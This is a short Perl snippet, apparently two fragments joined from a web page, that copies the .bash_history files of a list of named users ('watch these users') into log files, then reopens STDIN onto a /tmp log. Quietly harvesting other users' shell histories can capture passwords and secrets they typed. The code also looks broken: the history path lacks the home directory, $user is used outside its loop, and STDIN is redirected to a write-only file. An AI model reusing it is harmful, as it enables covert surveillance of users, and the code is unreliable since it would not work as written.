@users = qw(fred wilma barney); #watch these users
foreach $user (@users) {
    open(LOG,">>$user.history");
    open(HSTRY,"/$user/.bash_history");
    while(<HSTRY>) {
        print LOG $_;
    }
}

##</code><code>##

open(LOG, ">>/tmp/$user.logfile");
open(STDIN, ">&LOG");